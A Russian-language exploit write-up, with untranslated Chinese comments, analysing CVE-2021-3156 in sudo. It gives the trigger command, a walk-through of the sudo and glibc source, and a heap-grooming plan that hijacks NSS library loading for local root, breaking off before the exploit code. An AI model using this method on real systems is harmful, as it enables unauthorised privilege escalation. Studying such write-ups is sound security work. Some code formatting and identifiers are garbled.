
CVE-2021-3156 POC, Docker и разбор.
[toc]
Идентификатор: CVE-2021-3156
Оценка уязвимости:
Затронутый продукт: linux sudo
Затронутые версии: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1
Условия эксплуатации: linux локально; sudo установлен как suid и может быть запущен
Эффект эксплуатации: локальное повышение привилегий
Получение исходного кода: https://www.sudo.ws/getting/source/
docker окружение: chenaotian/cve-2021-3156
Я настроил docker, который предоставляет:
Всё находится в /root:
image-20220124223312224
Тестирование exp:``` cd exp su test ./exp whoami
Содержание, связанное с отладкой, см. далее [一些调试命令](#一些调试命令)
## Принцип уязвимости
Payload для срабатывания уязвимости```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`
Анализ исходного кода (sudo-1.8.21): Прежде всего, функция main в sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)
··· ···
··· ···
/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
··· ···
··· ···
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
ok = policy_check(&policy_plugin, nargc, nargv, env_add,
&command_info, &argv_out, &user_env_out);
··· ···
··· ···
}
··· ···
··· ···
}
- 首先调用parse_args 函数处理我们输入的参数,其实这里我们就输入了一个`-s` 而已,没什么可设置的,将sudo_mode 设置成 MODE_EDIT 和 MODE_SHELL。
- 然后根据sudo_mode 不同,MODE_EDIT 回调用policy_check
接下来是在sudo.c 中的policy_check函数(sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
char *env_add[], char **command_info[], char **argv_out[],
char **user_env_out[])
{
··· ···
··· ···
ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
argv_out, user_env_out);
···
}
Вызывается функция обратного вызова plugin->u.policy->check_policy, можно отладить и посмотреть реальную функцию этой функции:
image-20220123113326096
Вызывается функция sudoers_policy_check из policy.c (policy.c: 760):```c
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
char **command_infop[], char **argv_out[], char **user_env_out[])
{
··· ···
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;
ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···
}
Затем была вызвана функция sudoers_policy_main в sudoers.c (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
void *closure)
{
··· ···
··· ···
/*
* Make a local copy of argc/argv, with special handling
* for pseudo-commands and the '-i' option.
*/
if (argc == 0) {
··· ···
} else {
/* Must leave an extra slot before NewArgv for bash's --login */
NewArgc = argc;
NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
··· ···
}
memcpy(++NewArgv, argv, argc * sizeof(char *));
NewArgv[NewArgc] = NULL;
··· ···
}
}
··· ···
cmnd_status = set_cmnd();
··· ···
··· ···
··· ···
}
Здесь устанавливаются некоторые глобальные переменные, NewArgc и NewArgv, как показано ниже, по сути это переданные параметры.
image-20220123113819116
Затем выполняется переход к функции set_cmnd в sudoers.c (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
//根据参数总长度计算size, 后续malloc 申请,没有问题
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
//将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
//但这里\x00 并不算空格类型字符
//他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}
··· ···
}
}
··· ···
··· ···
}
Переполнение также происходит здесь, как видно из комментариев в коде: переполнение кучи происходит при копировании в кучу. Исходный код, по замыслу, копирует все аргументы из `NewArgv` в кучу, разделяя пробелами, а при встрече `\+символ не пробел` копирует только этот символ.
**Однако он не предусматривает случай, когда элемент `NewArgv` заканчивается на `\`, то есть структуру `\+\x00`. А `\x00` не относится к пробельным символам (странно). Это означает, что после копирования `\x00` в кучу переменная `from` увеличивается ещё раз (дважды за один цикл) и пропускает шанс проверки окончания по `\x00`, считая, что копирование аргументов не завершено, и продолжает копирование до следующего `\x00`.**
В данном сценарии видно, что `\+\x00` непосредственно следует за следующим аргументом `A*80`, поэтому копирование продолжится до конца `A*80`. Но не забывайте, что затем будет обработан и настоящий аргумент `A*80`, и он будет скопирован снова. Таким образом, `A*80` копируется дважды, хотя размер выделенного чанка рассчитывался только под одну строку `A*80`, что значительно превышает выделенный размер.
image-20220123113907744
После этого происходит переполнение. До копирования:
image-20220123114036691
После копирования:
image-20220123114137794
Общий путь срабатывания уязвимости (при отладке можно ставить точки останова непосредственно на эти функции):
- sudo.c : main
- sudo.c : policy_check
- policy.c : sudoerrs_policy_check
- sudoers.c : sudoers_policy_main
- sudoers.c : set_cmnd
- sudoers.c : 859
## Принцип эксплуатации уязвимости
Опираясь на [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **однако его метод компоновки кучи маловероятен; здесь подробно анализируется метод компоновки кучи**. Через передачу переменных окружения `LC_*` выполняется компоновка кучи таким образом, чтобы переполняемый чанк накрыл структуру `service_user`, используемую функцией `nss_load_library` для загрузки so. В этой структуре перезаписывается строка имени so, чтобы программа загрузила заданный нами so и выполнила произвольный код.
Хотя логика кажется ясной, детали, которые нужно проработать, довольно сложны:
1. Соответствующие структуры данных и механизмы в `nss_load_library`
2. Как `setlocale` с помощью переменных окружения `LC_*` выполняет компоновку кучи
Далее будем называть переполняемый чанк, в котором происходит уязвимость, **vuln chunk**, а цель переполнения — **target chunk**.
### Принцип nss
Сначала посмотрим на ключевой код эксплуатации:
glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
··· ···
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
··· ···
··· ···
}
}
ni — это структура service_user в куче. Когда ni->library->lib_handle равен NULL, вызывается __libc_dlopen для загрузки so. Если мы можем переполнить блок кучи, в котором находится ni, то достаточно установить library в 0, потому что в первой ветке, если library равен NULL, это означает отсутствие инициализации, и будет вызвана nss_new_service для инициализации library, и только что инициализированный handle обязательно будет NULL.
Хорошо, после того, как мы узнали ключевую точку срабатывания эксплуатации уязвимости, давайте разберёмся с механизмом nss.
Сначала в каталоге /etc есть файл /etc/nsswitch.conf (обычно он выглядит так, но не на всех устройствах одинаково):```
glibc-doc-reference' and info' packages installed, try:passwd: compat systemd group: compat systemd shadow: compat gshadow: files
hosts: files dns networks: files
protocols: db files services: db files ethers: db files rpc: db files
netgroup: nis
Это конфигурационный файл, который определяет способы и порядок поиска методов через указанные здесь пути (по сути, какие `.so`-файлы использовать). Также можно задать действия системы при успешном или неудачном выполнении определённого метода.
Я понимаю это так: задаётся, откуда программа должна получать необходимую информацию, например, данные о пользователе, сети, адресе и т.д. В коде это проявляется в том, что соответствующая функция вызывается из другого `.so`-файла. Реализация этой функции в разных `.so`-файлах и есть способ получения этой информации.
Далее рассмотрим три структуры:```c
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;
typedef struct name_database
{
/* List of all known databases. */
name_database_entry *entry;
/* List of libraries with service implementation. */
service_library *library;
} name_database;
Существует глобальная точка входа static name_database *service_table; затем в функции __nss_database_lookup, если глобальная точка входа service_table пуста, вызывается nss_parse_file для инициализации. Соответствующий код:
glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
FILE *fp;
name_database *result;
name_database_entry *last;
··· ···
//打开/etc/nsswitch.conf
fp = fopen (fname, "rce");
··· ···
result = (name_database *) malloc (sizeof (name_database));
··· ···
do
{
name_database_entry *this;
ssize_t n;
n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
··· ···
this = nss_getline (line);
if (this != NULL)
{
if (last != NULL)
last->next = this;
else
result->entry = this;
last = this;
}
}
while (!feof_unlocked (fp));
/* Free the buffer. */
free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
/* Close configuration file. */
fclose (fp);
return result;
}
Принцип: при первом поиске глобальная точка входа service_table пуста, затем выполняется инициализация на основе содержимого файла /etc/nsswitch.conf. Итоговая структура данных показана ниже:
image-20220123134155631
Все эти структуры данных выделяются в одной функции последовательно, в порядке, указанном на моем рисунке. Поэтому в обычном состоянии эти chunk'и расположены подряд. И их выделение происходит до vuln chunk. (Точка останова отладки nss_parrse_file)
Кроме того, стоит отметить, что в функции nss_parse_file есть функция __getline. Эта функция выделяет chunk в зависимости от длины прочитанного содержимого, и этот chunk освобождается при возврате из функции nss_parse_file. Поскольку самая длинная строка в /etc/nsswitch.conf - это комментарий, и мы не можем контролировать этот файл, можно считать, что длина chunk'а, выделяемого в __getline, всегда одинакова - фиксированный размер 0x80.
Таким образом, можно понимать это так: это очень ценный chunk, который выделяется перед списком service, освобождается сразу после завершения выделения структуры списка service и остается свободным до выделения vuln chunk. Запомните эту деталь на данный момент (я тестировал на многих окружениях, в большинстве из них эта деталь применима).
Итак, когда же вызывается функция nss_load_library? Посмотрим стек вызовов при отладке:
image-20220123114256387
Согласно стеку вызовов, когда требуется вызвать функции поиска информации о хосте или пользователе, вызываются некоторые поисковые функции для поиска соответствующей функции в соответствующем .so файле. По сути, это структура данных service_table, сгенерированная из /etc/nsswitch.conf. Код:
glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;
*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)
Сначала вызывается `__nss_database_lookup` для поиска соответствующей службы на основе переданного `DATABASE_NAME_STRING` (содержащего passwd, group, shadow и т.д.): то есть извлекается красная область на изображении ниже для поиска совпадения и возвращается указатель на службу. Если это первый поиск и все входные данные пусты, то происходит инициализация (упоминалось ранее).
image-20220123133933696
Затем вызывается `__nss_lookup`, который циклически вызывает `__nss_lookup_function` для поиска соответствующей функции в цепочке служб на основе указателя службы, после чего вызывается `nss_load_library`, получается дескриптор so, и затем ищется соответствующая функция. Код:
glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
void **fctp)
{
*fctp = __nss_lookup_function (*ni, fct_name);
··· ···
while (*fctp == NULL
&& nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
&& (*ni)->next != NULL)
{
*ni = (*ni)->next;
*fctp = __nss_lookup_function (*ni, fct_name);
··· ···
}
return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)
glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···
found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略
else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;
if (ni->library->lib_handle == (void *) -1l)
/* Library not found => function not found. */
result = NULL;
else
{
··· ···
/* Construct the function name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
ni->name),
"_"),
fct_name);
/* Look up the symbol. */
result = __libc_dlsym (ni->library->lib_handle, name);
}
··· ···
··· ···
}
···
return result; } libc_hidden_def (__nss_lookup_function)
Видно, что при вызове функций из libnss_xxx.so обязательно вызывается `nss_load_library`, даже если этот .so уже был загружен. Итак, следуя логике известного эксплойта, **нужно лишь знать, к какому .so относится первая вызванная функция libnss после возникновения heap overflow, и с помощью heap-лайаута разместить структуру `service_user`, относящуюся к этому .so, сразу за уязвимым chunk-ом. Однако, как показали мои тесты в нескольких окружениях, даже в одной и той же версии структура кода в собранной вручную версии и в дистрибутиве отличается**, поэтому здесь я использую свою отладочную среду для повторного анализа и написания эксплойта.
### Возвращение в отладочную среду
Эта отладочная среда (docker), которую я собрал сам, использует самостоятельно скомпилированный sudo с отладочными символами. Подробная информация:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21
/etc/nsswitch.conf содержит следующее:
image-20220115142452318
Он все еще сильно отличается от обычного, поэтому прямой запуск чужого exp, скорее всего, не пройдет. Более того, после отладки в моей среде после переполнения кучи первой вызванной nss-функцией является setspent, функция, принадлежащая shadow, то есть service_user из database_entrry3, целевой chunk — chunk номер 7. Мы хотим, чтобы уязвимый chunk находился перед chunk 7, и чтобы другие нумерованные chunk не оказались между ними (то есть при переполнении не повреждать другие chunk структуры service_table).
image-20220123134335546
Далее неизбежно нам нужно изучить, как за один раз спланировать кучу для повышения привилегий. Известно, что планировка кучи выполняется с помощью переменной окружения LC_ALL в функции setlocale. После анализа в setlocale имеется очень много операций выделения и освобождения кучи, поэтому здесь мы сосредоточимся на тех частях, которыми мы можем управлять.
Случайно на внутреннем блоге компании нашел аналитический блог коллеги, который очень помог, но извне к нему доступа нет, поэтому не привожу ссылку.
Механизм кучи в setlocale сводится к одной фразе: просто вводите переменные окружения той длины, в каком порядке вы хотите освобождать chunk, это гарантирует порядок освобождения и связи, но эти chunk не будут плотно прилегать друг к другу.
Посмотрим исходный код setlocale:
glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;
··· ···
locale_path = NULL; locale_path_len = 0;
··· ···
if (category == LC_ALL)
{
··· ···
··· ···
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{//关键处理函数 _nl_find_locale
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);
if (newdata[category] == NULL)
{//返回null 则会跳出循环
···
break;
}
··· ···
/* Make a copy of locale name. */
if (newnames[category] != _nl_C_name)
{
if (strcmp (newnames[category],
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
//这个strdup 很关键
newnames[category] = __strdup (newnames[category]);
if (newnames[category] == NULL)
break;
}
}
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
··· ···
}
else
for (++category; category < __LC_LAST; ++category)//校验
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
//这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
free ((char *) newnames[category]);
/* Critical section left. */
__libc_rwlock_unlock (__libc_setlocale_lock);
/* Free the resources. */
free (locale_path);
free (locale_copy);
return composite;
}
··· ···
··· ···
} libc_hidden_def (setlocale)
`setlocale` функция связана с некоторыми беспорядочными настройками локали. Соответствующие параметры переменных окружения включают следующие:```c
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
В зависимости от значения переданного параметра category, ищется соответствующий параметр в переменных окружения для выполнения действия. В sudo используется setlocale(LC_ALL,""); Когда переданный параметр — LC_ALL, начинается обход всех переменных, начиная с LC_IDENTIFICATION. Для каждой переменной вызывается функция _nl_find_locale, которая довольно сложна, но возвращаемое значение newnames[category] представляет собой значение соответствующей переменной окружения. Затем вызывается функция strdup, которая копирует эту строку в кучу. Поскольку передан LC_ALL, будет сгенерирован соответствующий массив строк, который затем проверяется на соответствие значениям по умолчанию глобальных переменных. Если проверка не пройдена, массив освобождается (легко создать входные данные, приводящие к ошибке).
Иными словами, мы можем выполнить здесь x выделений памяти в куче через strdup и x освобождений только что выделенных блоков (chunk). Выглядит просто, но это не так, потому что в функции _nl_find_locale до этого выполняется множество операций выделения и освобождения памяти в куче. Большинство блоков, выделяемых через strdup, затем освобождаются в _nl_find_locale. Хотя для эксплуатации уязвимости в куче дальнейший анализ уже не так важен, но если требуется точно спланировать расположение кучи или среда изменилась и стала более строгой, всё же необходимо проанализировать _nl_find_locale:
glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;
if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···
/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */
mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;
/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);
if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }
··· ···
if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];
if (locale_file == NULL)
return NULL;
}
··· ··· ··· ···
return (struct __locale_data *) locale_file->data; }
В функции `_nl_find_locale` сначала вызывается функция `_nl_explode_name`, которая присваивает значения маске на основе значения переменной окружения (как я упоминал в комментариях к коду). Главным образом проверяется наличие страны, языка и пользовательского суффикса — эти три элемента. Если они присутствуют, устанавливаются соответствующие маски, причём для языка устанавливаются две маски, всего четыре. Затем вызов функции `_nl_make_l0nflist` напрямую приводит к тому, что `_nl_find_locale` возвращает NULL, вызывая прерывание цикла в `setlocale` (это важно).
Далее рассмотрим функцию `_nl_make_l0nflist`:
glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
const char *dirlist, size_t dirlist_len,
int mask, const char *language, const char *territory,
const char *codeset, const char *normalized_codeset,
const char *modifier,
const char *filename, int do_allocate)
{
char *abs_filename;
struct loaded_l10nfile *last = NULL;
struct loaded_l10nfile *retval;
char *cp;
size_t entries;
int cnt;
/* Allocate room for the full file name. */
//根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) != 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) != 0
? strlen (codeset) + 1 : 0)
+ ((mask & XPG_NORM_CODESET) != 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) != 0
? strlen (modifier) + 1 : 0)
+ 1 + strlen (filename) + 1);
if (abs_filename == NULL)
return NULL;
retval = NULL;
last = NULL;
/* Construct file name. */
//根据文件名,也就是mask决定的内容进行拼接文件名
memcpy (abs_filename, dirlist, dirlist_len);
__argz_stringify (abs_filename, dirlist_len, ':');
cp = abs_filename + (dirlist_len - 1);
*cp++ = '/';
cp = stpcpy (cp, language);
if ((mask & XPG_TERRITORY) != 0)
{
*cp++ = '_';
cp = stpcpy (cp, territory);
}
if ((mask & XPG_CODESET) != 0)
{
*cp++ = '.';
cp = stpcpy (cp, codeset);
}
if ((mask & XPG_NORM_CODESET) != 0)
{
*cp++ = '.';
cp = stpcpy (cp, normalized_codeset);
}
if ((mask & XPG_MODIFIER) != 0)
{
*cp++ = '@';
cp = stpcpy (cp, modifier);
}
*cp++ = '/';
stpcpy (cp, filename);
··· ···
//如果已经已经存在同名文件,则释放刚申请的chunk
if (retval != NULL || do_allocate == 0)
{
free (abs_filename);
return retval;
}
retval = (struct loaded_l10nfile *)
malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
* (1 << pop (mask))
* sizeof (struct loaded_l10nfile *)));
if (retval == NULL)
{
free (abs_filename);
return NULL;
}
retval->filename = abs_filename;
/* If more than one directory is in the list this is a pseudo-entry
which just references others. We do not try to load data for it,
ever. */
retval->decided = (__argz_count (dirlist, dirlist_len) != 1
|| ((mask & XPG_CODESET) != 0
&& (mask & XPG_NORM_CODESET) != 0));
retval->data = NULL;
if (last == NULL)
{
retval->next = *l10nfile_list;
*l10nfile_list = retval;
}
else
{
retval->next = last->next;
last->next = retval;
}
entries = 0;
/* If the DIRLIST is a real list the RETVAL entry corresponds not to
a real file. So we have to use the DIRLIST separation mechanism
of the inner loop. */
//这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
//每次mask 值会-1,这样遍历所有mask可能
cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
for (; cnt >= 0; --cnt)
if ((cnt & ~mask) == 0)
{
/* Iterate over all elements of the DIRLIST. */
char *dir = NULL;
while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
!= NULL)
retval->successor[entries++]
= _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
language, territory, codeset,
normalized_codeset, modifier, filename, 1);
}
retval->successor[entries] = NULL;
return retval;
}
Двумя ключевыми передаваемыми параметрами являются do_allocate и mask. do_allocate указывает, будет ли активно выделяться новая память. Если значение равно 0, поиск выполняется непосредственно в существующем связном списке; обычно существующий список пуст, и функция сразу возвращается. Если do_allocate не равен 0, список расширяется.
При одном вызове функции _nl_make_l10nflist выделяется 1–2 блока (chunk), размер каждого из которых не фиксирован. Первый блок выделяется в соответствии с длиной имени файла, составленного из комбинации mask. Если имя файла не повторяется, выделяется второй блок — структура переменной длины для управления именем файла. Конкретная цель у этой структуры невелика, и она нам неподконтрольна, поэтому здесь мы её игнорируем.
mask имеет четыре бита. Эти четыре флага определяют имя файла для данной операции. Четыре флага обозначают наличие содержимого в квадратных скобках:```
dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename
где dir(/usr/lib/locale), language(C), filename(имя переменной окружения) фиксированы, содержимое в квадратных скобках может генерироваться по желанию в зависимости от значения mask. Например:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA
Итак:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀
В зависимости от разных масок может быть сгенерировано:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION
Поскольку введённый нами контент изначально не содержит информации о стране, то есть поле [_territory] изначально пустое, то независимо от того, равен ли этот mask 1, это поле не будет присутствовать. Это приводит к тому, что разные маски формируют одинаковые имена файлов, что объясняет, почему выше было заложено действие: при встрече одинакового имени файла — освободить и вернуть.
С анализом принципа работы всех кучевских выделений памяти на этом можно закончить. В зависимости от реальной ситуации можно понять и спланировать конкретное размещение. В моей отладочной среде ключевым является лишь то, что согласно значению введённой переменной окружения выполняется операция strdup, а затем несколько кусков (chunk), созданных strdup, освобождаются одним махом. Это действие и есть ключевой момент. Если среда более сложная, возможно придётся использовать операции управления размером и количеством освобождаемых кучей в зависимости от маски.
Возвращаясь к моей отладочной среде:
image-20220123134419470
Я хочу разместить vuln chunk перед target chunk, то есть перед chunk №7, не разрушая при этом ни один из кусков 1,2,3,4,5,6
Тогда идея компоновки кучи выглядит так:
Поскольку чанки 1,2,4,6 имеют размер 0x20, а в ходе выполнения программы было много запросов на выделение чанков размером 0x20, то tcache для 0x20 быстро исчерпается. То есть к моменту выполнения функции nss_parse_file tcache для 0x20 уже практически нет, и дальнейшие запросы будут удовлетворяться либо из top chunk, либо нарезкой из small/large/unsorted bin. Поэтому на них можно не обращать внимания.
Мы сосредоточимся на том, как между чанками 3,5 и чанком 7 вставить чанк особого размера 0xX0 (который не будет использован до запроса vuln chunk). Примерно так:
image-20220123134611280
Поскольку все чанки, участвующие в компоновке кучи, выделены в setlocale, а эти данные в setlocale практически не используются, то даже их перезапись не вызовет краха. Поэтому наш vuln chunk и target chunk могут находиться не сразу вплотную друг к другу – это допустимо.
Итоговая идея: в setlocale выделить два чанка размером 0x40, затем один чанк размером 0xa0 (то есть упомянутый выше 0xX0), затем ещё один чанк размером 0x40. Они будут освобождены в обратном порядке, а затем в функции nss_parse_file будут запрошены в том же порядке. Причём в nss_parse_file вызов getline выделит чанк размером 0x80, который «защитит» наш зарезервированный чанк размером 0xa0.
Далее вычисляем расстояние между удаляемым чанком и переполняющим чанком:
image-20220123114452223
0x5576b5ac7000 - 0x5576b5ac69b0 = 0x650
Можно разбить общий ввод параметров размером 0xa0 на две части: x штук \\ (каждый такой – отдельная строка, занимает 2 байта) и одна строка 'a' * y (y символов 'a' – одна строка, занимает y+1 байт). Тогда 2x + y = 0xa0 - 0x10 (здесь 0xa0 - 0x10, потому что наш vuln chunk имеет размер 0xa0, но реальный запрос требует на 0x10 меньше). Итоговая команда будет выглядеть примерно так:```
sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"
Вычислите x, y такие, что:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650
2x+y = 0xa0-0x10
Принцип первого равенства заключается в том, что, поскольку во вводе есть несколько \\, каждая копия вызывает переполнение, каждое переполнение на 1 байт меньше предыдущего, поэтому складываем арифметическую прогрессию. Упрощая, получаем:```
(x+y)+(x+2y+1)·x/2=0x650
2x+y = 0x90
С моей стороны решение:```
x=11
y=121
Наконец, длина, которая может быть переполнена через параметры sudoedit, составляет 0x5f9. Оставшуюся часть можно дополнить с помощью \\ в переменных окружения. Переменные окружения копируются только один раз. При перезаписи структуры обратите внимание, что строка имени so находится по смещению 0x30 в структуре, а все элементы структуры перед строкой должны быть перезаписаны как \x00. (Эту часть подробно разбирать не буду; как составить payload подходящей длины для переполнения — тоже не слишком технически сложно. Здесь я в основном даю универсальный способ быстрого вычисления.)
Затем скомпилируйте поддельную библиотеку so. Здесь функция, скомпилированная напрямую с помощью макроса attribute, будет автоматически выполнена при загрузке бинарного файла, то есть это конструктор. Эксплойт выглядит так:
В моей отладочной среде эксплойт выглядит следующим образом:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>
